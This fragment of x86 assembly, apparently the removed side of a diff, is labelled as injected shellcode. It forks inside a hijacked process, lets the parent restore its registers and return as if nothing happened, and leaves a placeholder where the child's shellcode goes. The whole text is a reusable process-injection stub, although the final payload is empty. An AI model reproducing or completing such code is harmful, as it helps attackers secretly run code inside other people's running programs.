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- /* This is the injected shellcode */
-
- .globl injected_shellcode
-
- injected_shellcode: /* ret location has been pushed previously */
- nop
- nop
- pusha /* save before anything */
- xor %eax,%eax
- mov $0x02,%al /* sys_fork */
- int $0x80 /* fork() */
- xor %ebx,%ebx
- cmp %eax,%ebx /* father or son ? */
- je son /* I'm son */
-
- father: /* I'm the father, I've to restore my previous state */
- popa
- ret /* Old values restored, Now return */
- /* code finished for father */
-
- son: /* standard shellcode, at your choice */
- .string ""
-